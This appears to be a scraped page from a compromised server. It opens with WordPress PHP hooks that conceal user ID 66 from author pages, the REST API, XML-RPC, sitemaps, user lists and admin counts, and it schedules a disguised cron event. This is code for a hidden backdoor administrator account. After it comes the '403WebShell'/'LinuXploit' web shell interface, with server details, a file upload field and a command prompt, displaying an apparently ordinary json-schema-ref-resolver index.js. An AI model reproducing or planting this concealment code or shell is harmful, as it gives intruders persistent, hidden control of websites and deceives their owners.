add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/openskillpaths/node_modules/json-schema-ref-resolver/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/openskillpaths/node_modules/json-schema-ref-resolver//index.js
'use strict'

const { dequal: deepEqual } = require('dequal')

const jsonSchemaRefSymbol = Symbol.for('json-schema-ref')

class RefResolver {
  #schemas
  #derefSchemas
  #insertRefSymbol
  #allowEqualDuplicates
  #cloneSchemaWithoutRefs

  constructor (opts = {}) {
    this.#schemas = {}
    this.#derefSchemas = {}
    this.#insertRefSymbol = opts.insertRefSymbol ?? false
    this.#allowEqualDuplicates = opts.allowEqualDuplicates ?? true
    this.#cloneSchemaWithoutRefs = opts.cloneSchemaWithoutRefs ?? false
  }

  addSchema (schema, rootSchemaId, isRootSchema = true) {
    if (isRootSchema) {
      if (schema.$id !== undefined && schema.$id.charAt(0) !== '#') {
        // Schema has an $id that is not an anchor
        rootSchemaId = schema.$id
      } else {
        // Schema has no $id or $id is an anchor
        this.#insertSchemaBySchemaId(schema, rootSchemaId)
      }
    }

    const schemaId = schema.$id
    if (schemaId !== undefined && typeof schemaId === 'string') {
      if (schemaId.charAt(0) === '#') {
        this.#insertSchemaByAnchor(schema, rootSchemaId, schemaId)
      } else {
        this.#insertSchemaBySchemaId(schema, schemaId)
        rootSchemaId = schemaId
      }
    }

    const ref = schema.$ref
    if (ref !== undefined && typeof ref === 'string') {
      const { refSchemaId, refJsonPointer } = this.#parseSchemaRef(ref, rootSchemaId)
      this.#schemas[rootSchemaId].refs.push({
        schemaId: refSchemaId,
        jsonPointer: refJsonPointer
      })
    }

    for (const key in schema) {
      if (typeof schema[key] === 'object' && schema[key] !== null) {
        this.addSchema(schema[key], rootSchemaId, false)
      }
    }
  }

  getSchema (schemaId, jsonPointer = '#') {
    const schema = this.#schemas[schemaId]
    if (schema === undefined) {
      throw new Error(
        `Cannot resolve ref "${schemaId}${jsonPointer}". Schema with id "${schemaId}" is not found.`
      )
    }
    if (schema.anchors[jsonPointer] !== undefined) {
      return schema.anchors[jsonPointer]
    }
    return getDataByJSONPointer(schema.schema, jsonPointer)
  }

  hasSchema (schemaId) {
    return this.#schemas[schemaId] !== undefined
  }

  getSchemaRefs (schemaId) {
    const schema = this.#schemas[schemaId]
    if (schema === undefined) {
      throw new Error(`Schema with id "${schemaId}" is not found.`)
    }
    return schema.refs
  }

  getSchemaDependencies (schemaId, dependencies = {}) {
    const schema = this.#schemas[schemaId]

    for (const ref of schema.refs) {
      const dependencySchemaId = ref.schemaId
      if (
        dependencySchemaId === schemaId ||
        dependencies[dependencySchemaId] !== undefined
      ) continue

      dependencies[dependencySchemaId] = this.getSchema(dependencySchemaId)
      this.getSchemaDependencies(dependencySchemaId, dependencies)
    }

    return dependencies
  }

  derefSchema (schemaId) {
    if (this.#derefSchemas[schemaId] !== undefined) return

    const schema = this.#schemas[schemaId]
    if (schema === undefined) {
      throw new Error(`Schema with id "${schemaId}" is not found.`)
    }

    if (!this.#cloneSchemaWithoutRefs && schema.refs.length === 0) {
      this.#derefSchemas[schemaId] = {
        schema: schema.schema,
        anchors: schema.anchors
      }
    }

    const refs = []
    this.#addDerefSchema(schema.schema, schemaId, true, refs)

    const dependencies = this.getSchemaDependencies(schemaId)
    for (const schemaId in dependencies) {
      const schema = dependencies[schemaId]
      this.#addDerefSchema(schema, schemaId, true, refs)
    }

    for (const ref of refs) {
      const {
        refSchemaId,
        refJsonPointer
      } = this.#parseSchemaRef(ref.ref, ref.sourceSchemaId)

      const targetSchema = this.getDerefSchema(refSchemaId, refJsonPointer)
      if (targetSchema === null) {
        throw new Error(
          `Cannot resolve ref "${ref.ref}". Ref "${refJsonPointer}" is not found in schema "${refSchemaId}".`
        )
      }

      ref.targetSchema = targetSchema
      ref.targetSchemaId = refSchemaId
    }

    for (const ref of refs) {
      this.#resolveRef(ref, refs)
    }
  }

  getDerefSchema (schemaId, jsonPointer = '#') {
    let derefSchema = this.#derefSchemas[schemaId]
    if (derefSchema === undefined) {
      this.derefSchema(schemaId)
      derefSchema = this.#derefSchemas[schemaId]
    }
    if (derefSchema.anchors[jsonPointer] !== undefined) {
      return derefSchema.anchors[jsonPointer]
    }
    return getDataByJSONPointer(derefSchema.schema, jsonPointer)
  }

  #parseSchemaRef (ref, schemaId) {
    const sharpIndex = ref.indexOf('#')
    if (sharpIndex === -1) {
      return { refSchemaId: ref, refJsonPointer: '#' }
    }
    if (sharpIndex === 0) {
      return { refSchemaId: schemaId, refJsonPointer: ref }
    }
    return {
      refSchemaId: ref.slice(0, sharpIndex),
      refJsonPointer: ref.slice(sharpIndex)
    }
  }

  #addDerefSchema (schema, rootSchemaId, isRootSchema, refs = []) {
    const derefSchema = Array.isArray(schema) ? [...schema] : { ...schema }

    if (isRootSchema) {
      if (schema.$id !== undefined && schema.$id.charAt(0) !== '#') {
        // Schema has an $id that is not an anchor
        rootSchemaId = schema.$id
      } else {
        // Schema has no $id or $id is an anchor
        this.#insertDerefSchemaBySchemaId(derefSchema, rootSchemaId)
      }
    }

    const schemaId = derefSchema.$id
    if (schemaId !== undefined && typeof schemaId === 'string') {
      if (schemaId.charAt(0) === '#') {
        this.#insertDerefSchemaByAnchor(derefSchema, rootSchemaId, schemaId)
      } else {
        this.#insertDerefSchemaBySchemaId(derefSchema, schemaId)
        rootSchemaId = schemaId
      }
    }

    if (derefSchema.$ref !== undefined) {
      refs.push({
        ref: derefSchema.$ref,
        sourceSchemaId: rootSchemaId,
        sourceSchema: derefSchema
      })
    }

    for (const key in derefSchema) {
      const value = derefSchema[key]
      if (typeof value === 'object' && value !== null) {
        derefSchema[key] = this.#addDerefSchema(value, rootSchemaId, false, refs)
      }
    }

    return derefSchema
  }

  #resolveRef (ref, refs) {
    const { sourceSchema, targetSchema } = ref

    if (!sourceSchema.$ref) return
    if (this.#insertRefSymbol) {
      sourceSchema[jsonSchemaRefSymbol] = sourceSchema.$ref
    }

    delete sourceSchema.$ref

    if (targetSchema.$ref) {
      const targetSchemaRef = refs.find(ref => ref.sourceSchema === targetSchema)
      this.#resolveRef(targetSchemaRef, refs)
    }
    for (const key in targetSchema) {
      if (key === '$id') continue
      if (sourceSchema[key] !== undefined) {
        if (deepEqual(sourceSchema[key], targetSchema[key])) continue
        throw new Error(
          `Cannot resolve ref "${ref.ref}". Property "${key}" already exists in schema "${ref.sourceSchemaId}".`
        )
      }
      sourceSchema[key] = targetSchema[key]
    }
    ref.isResolved = true
  }

  #insertSchemaBySchemaId (schema, schemaId) {
    const foundSchema = this.#schemas[schemaId]
    if (foundSchema !== undefined) {
      if (this.#allowEqualDuplicates && deepEqual(schema, foundSchema.schema)) return
      throw new Error(`There is already another schema with id "${schemaId}".`)
    }
    this.#schemas[schemaId] = { schema, anchors: {}, refs: [] }
  }

  #insertSchemaByAnchor (schema, schemaId, anchor) {
    const { anchors } = this.#schemas[schemaId]
    if (anchors[anchor] !== undefined) {
      throw new Error(`There is already another anchor "${anchor}" in schema "${schemaId}".`)
    }
    anchors[anchor] = schema
  }

  #insertDerefSchemaBySchemaId (schema, schemaId) {
    const foundSchema = this.#derefSchemas[schemaId]
    if (foundSchema !== undefined) return

    this.#derefSchemas[schemaId] = { schema, anchors: {} }
  }

  #insertDerefSchemaByAnchor (schema, schemaId, anchor) {
    const { anchors } = this.#derefSchemas[schemaId]
    anchors[anchor] = schema
  }
}

function getDataByJSONPointer (data, jsonPointer) {
  const parts = jsonPointer.split('/')
  let current = data
  for (const part of parts) {
    if (part === '' || part === '#') continue
    if (typeof current !== 'object' || current === null) {
      return null
    }
    current = current[part]
  }
  return current ?? null
}

module.exports = { RefResolver }

Youez - 2016 - github.com/yon3zu
LinuXploit